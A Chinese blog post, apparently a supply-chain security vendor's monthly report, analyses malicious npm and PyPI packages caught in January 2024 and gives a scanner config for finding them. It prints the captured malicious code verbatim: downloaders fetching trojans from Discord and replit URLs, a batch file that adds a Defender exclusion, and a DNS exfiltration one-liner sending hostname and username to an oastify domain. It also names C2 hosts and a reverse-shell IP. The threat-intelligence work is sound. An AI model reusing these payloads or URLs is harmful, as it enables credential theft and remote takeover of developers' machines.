供应链投毒预警 | 开源供应链投毒202401最新月报来啦!

cookie_export:从Firefox和Chrome导出Cookie cookie_export 从Firefox和Chrome导出Cookie 用法: cookie_export.py <dst> <src> <format> <url> 导出给定网址的Cookie,格式仅支持“ chrome”和“ firefox”。 如果路径为“-”,则使用默认cookie。 输出格式为json 立即下载

概述

悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库,结合程序动静态分析方法对潜在风险的开源组件包进行分析和监测,捕获大量开源组件恶意包投毒攻击事件。2024年1月份,悬镜供应链安全情报中心在Npm官方仓库(https://www.npmjs.com/)和Pypi官方仓库(https://pypi.org/)上共捕获675个不同版本的恶意投毒包,其中Npm仓库投毒占比90.48%, Pypi仓库投毒占比9.52%, 从每日捕获的投毒包数据来看,Npm仓库仍然是开源组件投毒的重灾区。

2024年1月份投毒包总量

2024年1月份投毒包每日统计

针对所有捕获的开源组件投毒包,我们结合源代码分析、动态行为监控等方法总结统计了投毒包的攻击方式和恶意行为。目前主流的投毒攻击方式包括:

  • 恶意文件执行
  • 代码混淆执行
  • 恶意文件下载
  • shell命令执行
  • 恶意文件释放
  • 恶意代码内存执行

其中,恶意文件执行是最常见的投毒攻击方式,占比高达77%,其攻击流程主要利用开源组件管理器在安装组件包过程中通过投毒者自定义的恶意指令来自动加载执行内置在组件包中的恶意代码文件(py、pyc、js、shell、pe、dll、elf、so等)。恶意文件下载和恶意文件释放后执行也是投毒者惯用的攻击手法之一。此外,部分开源组件投毒者会使用代码混淆、恶意代码内存执行等技术实施无文件投毒攻击,以此来躲避杀毒软件、EDR的安全防护检测。

攻击方式统计

在所有投毒包的恶意行为中,窃取系统信息占比超过83%,信息窃取的主要目标是开发者系统的密码文件、用户信息、网络配置、系统版本、DNS服务器IP、系统外网IP、浏览器cookie等敏感数据。其次,远控木马和反向shell后门也是投毒包常见的攻击目的。

恶意行为统计

投毒案例分析

本节将从2024年1月份捕获的开源组件投毒包中精选一些具有代表性的恶意包进行分析,还原投毒者惯用的攻击手法及动机。同时,也希望开发者能够理解投毒者的攻击思路,提高开发流程中的安全防护意识。

恶意程序下载执行

该攻击方式主要发生在包管理器安装或者投毒包加载时,投毒包中的恶意代码执行时会从远程服务器下载攻击者托管的下一阶段恶意程序(木马、后门等)到受害者系统上执行。

在1月份里,我们在pypi仓库中捕获多起http组件相关的投毒攻击事件,其中投毒包httpxs和update-requests主要针对开发者开展木马后门攻击。以pypi仓库的httpxs投毒包为例,该投毒包目标针对知名python开源组件httpx,尝试通过包名错误拼写(typo-squatting)来迷惑混淆python开发者。

知名python开源组件httpx

投毒包httpxs通过克隆httpx v0.25.1版本源码,并将httpx 项目的__init__.py文件末尾植入恶意python代码;

投毒文件比对结果

当python项目错误加载恶意httpxs组件时,__init__.py中的恶意python代码将得到执行。


import requests
import subprocess
import threading
import os

path = os.environ["USERPROFILE"] + "\AppData\Local\explorer.exe"

def process() -> None:
    if os.path.exists(path):
        subprocess.run(path, shell=True)

def download() -> None:
    response = requests.get("https://cdn.discordapp.com/attachments/1167794996854915172/1176286066026750074/run_for_money.exe?ex=656e50c4&is=655bdbc4&hm=cca58d210eaf8cee1ba47b9d92f9ce5814998a785e827885331ab77ab5c6d587&")

    if response.status_code != 200:
        exit()

    with open(path, 'wb') as file:
        file.write(response.content)

def execute() -> None:
    thread = threading.Thread(target=process)
    thread.start()

download(); execute()

 恶意代码进一步从以下恶意网址下载新的恶意程序(run_for_money.exe),写入到受害者windows系统中("C:\Users\{username}\AppData\Local\explorer.exe")并最终执行该恶意程序。恶意程序run_for_money.exe在virustotal上被多款杀毒引擎判定为木马后门。

https://cdn.discordapp.com/attachments/1167794996854915172/1176286066026750074/run_for_money.exe?ex=656e50c4&is=655bdbc4&hm=cca58d210eaf8cee1ba47b9d92f9ce5814998a785e827885331ab77ab5c6d587

virustotal检测结果

恶意程序释放执行

该攻击方式主要将恶意程序捆绑打包进投毒包中,或者直接将恶意程序代码编码(通常采用简单的base64、ascii等编码)转换为可显字符串后内嵌到投毒包代码文件中。当包管理器安装或投毒包加载时,投毒包中的恶意代码执行时会直接运行捆绑的恶意程序或者将内嵌编码后的恶意程序代码进一步解码释放后运行。

以npm仓库的edgecompatible投毒包为例,该投毒包捆绑了多个伪装成msedge浏览器组件的木马后门程序,其目标针对使用windows系统的npm开发者。

合法程序cookie_exporter.exe及木马程序msedge.dll 

 当npm项目开发中一旦加载edgecompatible投毒包, edgecompatible的index.js将执行bin/autorun.bat脚本。

index.js文件

// index.js
const { spawn } = require('child_process');
const path = require('path');
const os = require("os");

module.exports = {
    compat: function() {
      if (os.platform() === "win32") {
        const binaryPath = path.join(__dirname, 'bin', 'autorun.bat');
        const child = spawn(binaryPath, []);
        child.stdout.on('data', (data) => {
          console.log(`stdout: ${data}`);
        });
        
        child.stderr.on('data', (data) => {
          if(data.toString().indexOf("start-process") != -1)
          {
            console.log( "\x1b[31m%s\x1b[0m", "Can't access Microsoft Edge rendering engine.");
            process.exit();
          }
        });
        
        child.on('close', (code) => {
        });
      } else if (os.platform() === "linux") {
        console.log(
          "\x1b[31m%s\x1b[0m",
          "This script is running on Linux. Please run on Windows Server OS."
        );
      } else {
        console.log(
          "\x1b[31m%s\x1b[0m",
          "This script is running on an unrecognized OS. Please run on Windows Server OS."
        );
      }
    }
  };

bin/autorun.bat脚本首先通过执行“C:\Windows\System32\cacls.exe C:\Windows\System32\config\system”来判断当前用户是否拥有管理员权限,如果没有管理员权限则会进一步尝试通过执行powershell命令 ”powershell start-process ".\app\cookie_exporter.exe" -Verb RunAs” 来运行bin/app/Cookie_export.exe,该程序是合法的Microsoft Edge浏览器官方程序,主要目的是用来触发来用户账户控制(UAC)提示,并尝试欺骗受害者运行使用管理员权限来执行bin/app/Cookie_export.exe。

autorun.bat脚本

@echo off

pushd %~dp0

:: echo %~dp0
:: Check for administrator privileges
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"

:: If the previous command returned with an error, ask for elevated permissions
if %errorlevel% neq 0 (
    :: echo Requesting administrative privileges...
    :: Prompt for UAC elevation
    powershell start-process ".\app\cookie_exporter.exe" -Verb RunAs
    exit /b
)

:: The rest of your script goes here with administrator privileges

popd

一旦受害者允许使用管理员权限运行cookie_export.exe,该程序将优先加载同目录下的恶意DLL文件bin/app/msedge.dll来执行下一阶段的攻击,通过IDA逆向可确认cookie_export.exe运行时将动态加载msedge.dll。 

 bin/app/msedge.dll在virustotal上被多款杀毒引擎判定位木马程序。实际上,bin/app/msedge.dll加载后会对bin/app/msedge.dat进一步解密释放出下一阶段的木马后门程序。

 virustotal检测结果

恶意代码内存执行

该攻击方式主要发生在包管理器安装或者投毒包加载时,投毒包中的恶意代码执行时会动态分配一块可读可写可执行(RWX)的动态内存,并将恶意shellcode代码直接拷贝到RWX内存中执行,无恶意文件落盘行为,在一定程度上可以绕过基于文件系统的安全检测。通常shellcode代码也会被攻击者存储在一些合法的代码托管平台上。

以pypi仓库的httprequesthub为例,该投毒包和我们在2023年11月份捕获到的python http代理SDK投毒事件属于同一个投毒团伙。httprequesthub投毒包通过在安装包setup.py脚本中自定义egg_info命令(PostEggInfoCommand类)从远程服务器上拉取加密的恶意代码进行解密释放出第二阶段的shellcode攻击代码,shellcode代码直接在可读可写可执行的系统内存中执行,没有恶意程序文件落盘行为,具备较高的攻击隐蔽性。

setup.py文件

当开发者通过pip 包管理器下载或安装httprequesthub包时,PostEggInfoCommand的run函数将被调用执行第一阶段攻击代码。Run函数先将base64编码的url进行解码后通过urllib远程下载base64编码的恶意代码,最后会对恶意代码进行base64解码后调用subprocess.Popen启动新进程执行第二阶段的python攻击代码。

Base64编码的恶意代码url为:

aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vS2FyYXZheWV2QWxleGVpL2JkZjRmOWUyODA3MTRkODczMDNkNDkwOWQxOWRlM2E3L3Jhdy8zMTYzZTljOWZmNjE4YzUwYThkOGE5ZjYwMDUzYTM2ODM5ODVlMzUxL21hY2QuYjY0Cg==

 解码后的恶意代码url为:

https://gist.github.com/KaravayevAlexei/bdf4f9e280714d87303d4909d19de3a7/raw/3163e9c9ff618c50a8d8a9f60053a3683985e351/macd.b64

 解码后的第二阶段python攻击代码如下所示:

 第二阶段攻击代码

 第二阶段python攻击代码调用send函数先将base64编码的update_information_url进行解码后通过urllib远程下载第三阶段加密的恶意代码,最后会对恶意代码进行解密并调用eval执行进入第三阶段攻击代码。update_information_url解码后为:


https://gist.githubusercontent.com/tarasvlasov83/cf1ec403fac3f1cb8b23320c31042a67/raw/ff4be6e247d7698b401cfe31119d54167af875eb/aaaa.b64

 第三阶段恶意代码解密还原后如下所示:

第三阶段攻击代码

第三阶段恶意代码会进一步通过base64解密和zlib解压内嵌的恶意代码,最终还原出第四阶段python攻击代码:

第四阶段攻击代码

第四阶段攻击代码被混淆处理,其大致逻辑是通过调用python ctypes库动态分配一段可读可写可执行的RWX系统内存,并将内置加密压缩后的shellcode代码解密释放到RWX内存上,最后直接控制PC寄存器跳转到RWX内存中执行第五阶段shellcode攻击代码。

去混淆后的第四阶段攻击代码如下所示(这部分攻击代码和我们2023年11月份发现的HTTP代理SDK投毒攻击代码完全一致):

 第四阶段攻击代码还原

 通过IDA逆向第五阶段shellcode攻击代码(shellcode_stage1),伪代码如下所示,shellcode先调用系统接口分配一块可读可写可执行的RWX内存,接着将异或编码后的shellcode解码释放到RWX内存中执行下一阶段攻击。

shellcode_stage1逆向

通过逆向分析可发现第五阶段攻击代码shellcode_stage1执行后,需要连续经过16轮 shellcode解码释放操作,最终才会释放出真实的攻击代码shellcode_stage17。

从shellcode_stage1到shellcode_stage17阶段的代码都是直接在系统内存上执行,不在文件系统中生成恶意代码。shellcode_stage17攻击代码最终负责和攻击者的C2服务器3478.qt-api-worker-threads.workers.dev进行通信。

shellcode_stage17逆向

virustotal恶意url检测

反向shell后门

该攻击方式主要针对Linux系统开发环境,攻击者通常在投毒包中直接内置恶意shell命令或者通过脚本代码执行shell命令,以此方式将开发者系统shell反弹到攻击者控制的特定服务器端口上,开发者一旦通过包管理器安装或者加载投毒包时,反弹shell的恶意代码将自动执行,导致开发者系统被攻击者远程shell控制。

以pypi仓库tensrflwo投毒包为例,攻击者利用包名错误拼写 (typo-squatting)的投毒方式来仿冒谷歌开源的深度学习框架tensorflow来攻击AI开发者。tensrflwo安装包setup.py中定义的taint2()函数通过创建子进程将受害者系统shell反连到投毒者控制的服务器上(59.110.111.85:8088),一旦开发者通过pip包管理器下载或者安装投毒包tensrflwo时, setup.py中的恶意函数tain2()将被调用执行,最终导致开发者系统被攻击者远程shell控制。

setup.py文件

详细分析请参考:供应链投毒预警 | 恶意Py包仿冒tensorflow AI框架实施后门投毒攻击

DNS查询外传敏感信息

该攻击方式是一种较为隐蔽的信息窃取手法,通常在包管理器安装或者加载投毒包时自动执行用于收集受害者系统敏感数据的shell命令或脚本代码,收集到的敏感数据会被分块编码后,再通过发送DNS查询请求将编码后的敏感数据发送到攻击者控制的DNS服务器上。攻击者可从DNS服务器查询记录中将受害者系统的敏感数据提取并还原。

以npm仓库的投毒包identity-auth为例, identity-auth利用package.json中preinstall指令在安装包过程中自动执行index.js,index.js先通过系统shell命令收集敏感信息(主机名、工作目录、用户名以及系统外网出口IP),其次对收集到的数据进行16进制字符编码,并按照最大60字节长度进行字符分段切块;接着依次将切块数据和攻击者控制的域名(m4rwxmtkqz5wk2d1gfpk7fcqhhn8byzn.oastify.com)拼接后,最后通过nslookup命令查询拼接后的DNS地址。

package.json及index.js代码

const { exec } = require("child_process");
exec("a=$(hostname;pwd;whoami;echo 'identity-auth';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $ut.m4rwxmtkqz5wk2d1gfpk7fcqhhn8byzn.oastify.com;done" , (error, data, getter) => {
  if(error){
    console.log("error",error.message);
    return;
  }
  if(getter){
    console.log(data);
    return;
  }
  console.log(data);
  
});

模拟投毒者生成包含系统敏感数据的DNS地址,攻击者通过分析DNS服务器查询日志即可将受害者系统敏感数据依次提取后进行解码还原。

敏感数据切割分块

恶意代码混淆

为了躲避静态代码分析检测,攻击者会对投毒包中的恶意代码进行变形混淆。例如npm仓库的投毒包noblox.js-proxy-server,该投毒包伪装成github项目noblox/noblox.js(https://github.com/noblox/noblox.js.git)进行投毒攻击,主要通过在package.json中定义postinstall指令,postinstall指令在安装投毒包时将自动触发执行包含混淆代码的postinstall.js恶意文件。

package.json及postinstall.js文件

通过对混淆代码进行解混淆,可以还原出关键的恶意代码,如下图所示。

postinstall.js混淆代码还原

恶意代码首先从以下恶意网址下载bat文件保存到c:\winapi\WindowsApiLib.bat并执行。

https://cdn.discordapp.com/attachments/1193294801299325020/1196958183533580478/1.bat

WindowsApiLib.bat文件

@echo off
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
if not "%1"=="am_admin" (
  powershell -Command "Start-Process -Verb RunAs -FilePath '%0' -ArgumentList 'am_admin'"
  exit /b
)
set "scriptDir=%~dp0"
powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
TIMEOUT /T 5
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://1f2a857a-7153-42a6-8363-becc7ed94b49-00-1vtxb7rs21ezi.spock.replit.dev/download', 'C:\WindowsApi\WindowsApi.exe')"
start "" "C:\WindowsApi\WindowsApi.exe"
taskkill /IM cmd.exe
exit

WindowsApiLib.bat会进一步从以下恶意网址下载木马后门程序保存到C:\WindowsApi\WindowsApi.exe并执行。

木马后门程序WindowsApi.exe

排查方式

截至目前,大部分恶意投毒包在国内主流镜像源中仍然可正常下载。针对文中分析的恶意投毒包,开发者可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件(可参考总结中提到的组件包信息按格式增减),直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到文中所披露的投毒包的影响。


[
  {
    "product": "httpxs",
    "version": "[0.0.1,0.0.1]",
    "language": "python",
    "id": "XMIRROR-MAL45-4856A664",
    "description": "Python恶意投毒包 httpxs",
    "release_date": "2024-01-28"
  },
  {
    "product": "update-requests",
    "version": "[0.0.1,0.0.1]",
    "language": "python",
    "id": "XMIRROR-MAL45-CA5ED059",
    "description": "Python恶意投毒包 update-requests",
    "release_date": "2024-01-28"
  },
  {
    "product": "edgecompatible",
    "version": "[2.3.4,2.3.4]",
    "language": "javascript",
    "id": "XMIRROR-MAL45-921FB751",
    "description": "NPM恶意投毒包 edgecompatible",
    "release_date": "2024-01-31"
  },
  {
    "product": "httprequesthub",
    "version": "[2.31.4,2.31.4]||[2.31.0,2.31.0]||[2.31.1,2.31.1]||[2.31.3,2.31.3]",
    "language": "python",
    "id": "XMIRROR-MAL45-5915236F",
    "description": "Python恶意投毒包 httprequesthub",
    "release_date": "2024-01-03"
  },
  {
    "product": "tensrflwo",
    "version": "[2.5.1,2.5.1]||[2.7,2.7]||[2.7.1,2.7.1]||[2.8,2.8]||[2.9,2.9]",
    "language": "python",
    "id": " XMIRROR-MAL45-777DD586",
    "description": " Python恶意投毒包 tensrflwo",
    "release_date": "2024-01-15"
  },
  {
    "product": "identity-auth",
    "version": "[10.999.0,10.999.0]||[9.999.0,9.999.0]||[8.999.0,8.999.0]||[7.999.0,7.999.0]",
    "language": "javascript",
    "id": "XMIRROR-MALF5-F9282613",
    "description": "NPM恶意投毒包 identity-auth",
    "release_date": "2024-01-30"
  },
  {
    "product": "noblox.js-proxy-server",
    "version": "[4.15.4,4.15.4]||[4.15.3,4.15.3]||[4.15.2,4.15.2]||[4.15.1,4.15.1]",
    "language": "javascript",
    "id": "XMIRROR-MAL45-52114A88",
    "description": "NPM恶意投毒包 noblox.js-proxy-server",
    "release_date": "2024-01-18"
  }
]

总结

根据2024年1月份捕获的开源组件投毒统计数据以及分析报告来看,投毒攻击手法和动机呈现多样化趋势。NPM是投毒者的重点目标,敏感数据窃取仍为主流攻击动机。此外,投毒者开始利用代码内存执行、代码混淆等安全对抗技术来躲避安全检测,这对于投毒包检测来说将面临更大的挑战。

悬镜供应链安全情报中心将持续监测全网主流开源软件仓库,对潜在风险的开源组件包进行动态跟踪和溯源,实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。

cookie-export:用于导出 Phantomjs cookie 的浏览器扩展 饼干出口 为 Phantomjs 导出 cookie 的浏览器扩展。 立即下载

相关推荐

5个免费股票数据API实测对比:从AkShare到BaoStock,哪个最适合你的AI量化项目?

本文深度评测了AkShare、BaoStock、yfinance、Alpha Vantage和EOD Historical Data这五个免费股票数据API,从数据质量、覆盖范围、更新频率、稳定性及易用性进行对比。针对AI量化项目,文章提供了详细的选型策略,帮助开发者根据项目阶段与需求,精准选择最适合的数据源,并强调了多源验证与数据清洗的重要性。

weixin_29290947的博客 5100

一年四起供应链投毒事件的幕后黑手

2017年,黑客入侵Avast服务器,在CCleaner更新中植入恶意代码,被数百万用户下载。2017年,M.E.Doc遭黑客攻击,篡改更新植入NotPetya,影响全球公司。2020年,黑客入侵SolarWinds服务器,植入恶意代码影响客户敏感信息,导致美国财政部、商务部等多个政府机构用户受到长期入侵和监视。...以上事件,均由黑客发起的供应链攻击引发。供应链投毒攻击是指黑客利用供应链中的软件、硬件或服务等环节,通过植入恶意代码或篡改产品,从而影响最终用户的安全的一种攻击手段。

2401_84466225的博客 1902

用了7年的 source insight 3.5 背景色及字体配置(提升code效率)

在此记录并share用了7年的 source insight 3.5 背景色及字体配置,提升阅读代码效率

Chasing Freedom 7530

差点引爆全球的核弹,深度分析XZ-Utils供应链后门投毒事件

wp:quote处心积虑的投毒者蛰伏三年多,精心选择对象,通过复杂的攻击手法、专业的技战术,一步步支起一张大网,企图掌控全球主流linux发行版,一旦成功他将可以随意侵入全球绝大多数的服务器,这将是足以引爆全球的核弹危机。所幸由于复杂度过高以及投毒者的疏忽,事件被及早发现,没有造成过大的现实危害。但此次事件再次凸显出开源软件生态的脆弱性,本次事件仍可能只是冰山下的一角。墨菲安全也提醒所有企业不应该默认相信来自开源社区的软件,应该加强企业自身的供应链安全体系建设,才能当危机来临时应对自如。/wp:quote。

murphysec的博客 4444

从车机到广告屏:CS5523芯片在5大显示场景的应用方案全解析

本文全面解析了CS5523芯片在车载显示、数字广告机、医疗设备和工业HMI等五大场景的应用方案。作为高性能MIPI转eDP芯片,CS5523凭借出色的兼容性和低功耗特性,成为国产替代方案的优选。文章详细介绍了芯片架构、核心技术及实际应用中的设计要点,为工程师提供全面的技术参考。

julia4scientist的博客 904

运算放大器多谐振荡器设计实战:从施密特触发器到波形生成

本文详细介绍了运算放大器在多谐振荡器设计中的实战应用,涵盖施密特触发器的迟滞比较原理、非稳态振荡器的自激机制以及单稳态和双稳态电路的设计技巧。通过具体案例和参数计算,帮助工程师掌握波形生成与信号处理的核心技术,提升电路设计效率与稳定性。

pz89012345的博客 217

Apifox供应链投毒事件全复盘:3000万开发者的供应链安全生死劫

摘要: 2026年3月,国内头部API管理工具Apifox遭供应链投毒攻击,其官方CDN分发的前端脚本被恶意篡改,导致超30万开发者终端在18天内被静默入侵。攻击者利用Electron框架安全缺陷,突破沙箱隔离,窃取SSH密钥、云凭证等核心资产,并实现远程代码执行(RCE),彻底控制受害者设备。事件暴露了开发者工具供应链的致命弱点——用户对“官方正版”的盲目信任成为攻击跳板。技术分析显示,攻击分五阶段:篡改未校验的CDN脚本、建立隐蔽C2通信、分段载荷投递、利用Electron配置缺陷实现系统级控制,最终横

从零开始,掌握网络安全。提供全面的网络安全教程、攻防演练技巧和行业动态。 1178

开源人形机器人硬件生态:关键技术、产业链与低成本突破 | OpenLoong 社区线下分享会

本文将深入探讨人形机器人硬件平台的关键技术、产业链与核心部件以及降低成本的策略。从硬件平台的核心技术,到机器人核心零部件的详细介绍,再到产业链各环节的协同发展以及实现低成本化的创新思路,将一同剖析人形机器人迈向广泛应用所面临的挑战与机遇,展望其未来的发展趋势,为开发者和相关从业者提供一些参考与启示。

OpenLoong_的博客 2422

供应链投毒预警 | 开源供应链投毒202403月报发布啦!(含投毒案例分析)

针对文中分析的恶意投毒包,开发者可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件(可参考总结中提到的组件包信息按格式增减),直接执行扫描命令(OpenSCA-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到文中所披露的投毒包的影响。其中,投毒者最常用的攻击方式依旧是恶意文件执行(45.44%),其攻击流程是利用开源组件包管理器中的自定义指令来执行隐藏在组件安装包中的恶意文件。该恶意Python组件总下载量为737次。

OpenSCACommunity的博客 7303

【ArcGIS遇上Python】ArcGIS10.8 Python代码批量完美实现MODIS NDVI数据格式转换和投影变换

由于论文的需要,将MODIS NDVI数据进行投影变换和格式转换,具体操作可以参照:《ArcGIS10.8完美实现MODIS NDVI数据格式转换和投影变换》,但是该文章中的做法只能一次性实现一景影像的转换,没法批量,虽然ArcGIS中提供了Batch的方法但是需要挨个添加数据,确定输出路径等等,本文就实现以ArcGIS10.8 Python代码批量完美实现MODIS NDVI数据格式转换和投影变换。先来看投影后的效果: 在实现批量投影转换之前,需要两个投影文件:Sinusoidal.prj和MyAl

智慧空间实验室 3815

企业级OpenClaw部署实战:10个关键配置让你从“养虾“到“精通“

OpenClaw(社区昵称"小龙虾")作为2026年开源社区最活跃的AI Agent项目,凭借其多Agent协同架构和企业级安全隔离能力,已成为中大型企业的首选AI基础设施。本文基于真实企业部署经验,系统梳理了企业级OpenClaw部署的10个关键配置:用户ID消息隔离、群组ID消息隔离、多机器人配置、无限量Agent创建、机器人与Agent关联、Agent间调度、权限配置、Hooks任务、多模型切换及一键备份迁移。

program哲学 931

供应链投毒预警 | 开源供应链投毒202402月报发布啦

悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库,结合程序动静态分析方式对潜在风险的开源组件包进行动态跟踪和捕获,发现大量的开源组件恶意包投毒攻击事件。在2024年2月份,悬镜供应链安全情报中心在NPM官方仓库(https://www.npmjs.com)和Pypi官方仓库(https://pypi.org)共捕获503个不同版本的恶意组件包,其中NPM仓库投毒占比89.46%, Pypi仓库投毒占比10.54%,NPM仓库依旧是开源组件包投毒的重灾区。

Anprou的博客 2132

S32K144 UDSdoCAN 升级刷写实现笔记

本篇旨在描述如何开发“车规级”的软件升级程序,通过在S32K144平台上实现基于UDSdoCAN的刷写升级功能,带你一步步建立安全升级的“工程思维”,在这里既能收获经验还能获得工程源码、测试脚本,助你起飞,避坑提速!

汽车电子软件领域知识分享 811

供应链攻击模拟:从开源库投毒到CI/CD管道入侵实战

一旦成功,恶意代码会随着正常的软件更新、依赖安装,自动分发到成千上万的下游用户(包括最终目标)系统中,形成“一处失陷,处处感染”的连锁反应。如果一个恶意竞争对手买通了你的面粉供应商,在面粉里掺入了无色无味的有害物质,那么你用这些面粉做出的所有面包都会有问题,所有吃到这些面包的顾客都会受到影响。我们将模拟创建一个恶意的 Python 包,并将其上传到一个私有的 PyPI 服务器,然后在一个配置了CI/CD流程的项目中使用这个恶意包。在另一个目录下创建一个新的项目文件夹,模拟一个正在开发的应用。

Alfadi联盟 萧瑶的博客 560

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

软件供应链投毒 — NPM 恶意组件分析

聚焦源代码安全,网罗国内外最新资讯!专栏·供应链安全数字化时代,软件无处不在。软件如同社会中的“虚拟人”,已经成为支撑社会正常运转的最基本元素之一,软件的安全性问题也正在成为当今社会的根本性、基础性问题。随着软件产业的快速发展,软件供应链也越发复杂多元,复杂的软件供应链会引入一系列的安全问题,导致信息系统的整体安全防护难度越来越大。近年来,针对软件供应链的安全攻击事件一直呈快速增长态势,造成的危...

smellycat000的专栏 1837

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

釜底抽薪:供应链攻击之开源依赖投毒实战

结果,所有采购了这个菜包的餐厅(应用程序),都在不知不觉中给顾客(用户)端上了有毒的菜,导致大规模食物中毒事件。在这个比喻里,投毒者就是攻击者,预制菜包就是开源依赖,而你的餐厅就是受害的应用程序。:掌握供应链攻击的原理与复现方法,能让你站在攻击者的视角,深刻理解软件开发生命周期(SDLC)中的薄弱环节。对于防御方,学会如何“投毒”,才能真正懂得如何“解毒”,从而构建有效的依赖安全检测和防御体系,解决“我用的代码是否安全”这一核心问题。在一台新的终端(或另一台机器)上,模拟因为拼写错误而安装了恶意包。

Alfadi联盟 萧瑶的博客 609

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

软件正在吞噬世界,安全防护,要从供应链角度考量。

日前,开源软件 XZ 被植入“后门”事件,引发了网络安全界的轩然大波。研究人员发现,在包括 Red Hat 和 Debian 在内的多个流行 Linux 版本中,一款压缩工具被悄悄植入了恶意代码,这样攻击者即使没有有效账号,也可以通过 SSHD(一个负责 SSH 连接工作的关键二进制文件)访问系统了。通过进一步的深入分析,研究人员认为本次爆出的“后门”事件是一次典型的软件供应链投毒事件。因为相关的...

开源社KAIYUANSHE的博客 703

open-falcon 小米开源监控

1.open-falcon介绍监控系统是整个运维环节,乃至整个产品生命周期中最重要的一环,事前及时预警发现故障,事后提供翔实的数据用于追查定位问题。监控系统作为一个成熟的运维产品,业界有很多开源的实现可供选择。当公司刚刚起步,业务规模较小,运维团队也刚刚建立的初期,选择一款开源的监控系统,是一个省时省力,效率最高的方案。之后,随着业务规模的持续快速增长,监控的对象也越来越多,越来越复杂,监控系统的...

nis 2万+

【亲测免费】 语雀文档导出工具(yuque-exporter)安装与配置完全指南

语雀文档导出工具(yuque-exporter)安装与配置完全指南 项目基础介绍 yuque-exporter 是一个专为语雀(Yuque)用户设计的开源工具,它允许用户便捷地将语雀上的文档导出为Markdown格式,并且支持文档结构导出、图片资源下载等功能。该项目采用 Node.js 和 Puppeteer 技术栈实现,确保能够模拟真实用户的浏览器行为,从而绕过一些自动化限制。 主要编程语言及关...

gitblog_09353的博客 3844

Node-ipc 热门包作者投毒“社死‘’,谁来保护开源软件供应链安全?

聚焦源代码安全,网罗国内外最新资讯!专栏·供应链安全数字化时代,软件无处不在。软件如同社会中的“虚拟人”,已经成为支撑社会正常运转的最基本元素之一,软件的安全性问题也正在成为当今社会的根...

smellycat000的专栏 5311

AI安全悬镜:2025年软件供应链安全风险检测与治理实践分享

面向研发过程的软件供应链风险检测与治理实践分享

分享软件供应链安全最新技术与最佳实践 799

【安全通知】NPM遭遇供应链投毒攻击窃取K8S集群凭证

文|腾讯洋葱反入侵系统七夜、xnianq、柯南近日,腾讯洋葱反入侵系统检测发现 NPM官方仓库被上传了radar-cms 恶意包,并通知官方仓库下架处理。由于国内开源镜像站均同步于NPM官...

Tencent_SRC的博客 855

JS本地存储

文章目录一、Cookie二、Cookie封装三、Cookie注意事项四、localStorage、sessionStorage四、总结 一、Cookie 1、Cookie是什么? 不要在Cookie中保存密码等敏感信息 1、Cookie全称HTTP Cookie,简称Cookie 2、是浏览器存储数据的一种方式 3、 因为存储在用户本地,而不是存储在服务器上,是本地存储 4、一般会自动随着浏览照每次请求发送到服务器端 2、Cookie使用场景 利用 Cookie跟踪统计用户访问该网站的习惯,比如什么时间

大西瓜 525
上一篇: 供应链投毒预警 | 恶意Py包仿冒tensorflow AI框架实施后门投毒攻击
下一篇: 技术文档 | 使用 OpenSCA 批量扫描 Gitlab 仓库,盘点资产安心过节
OpenSCA社区
博客等级 码龄4年 171粉丝 42原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值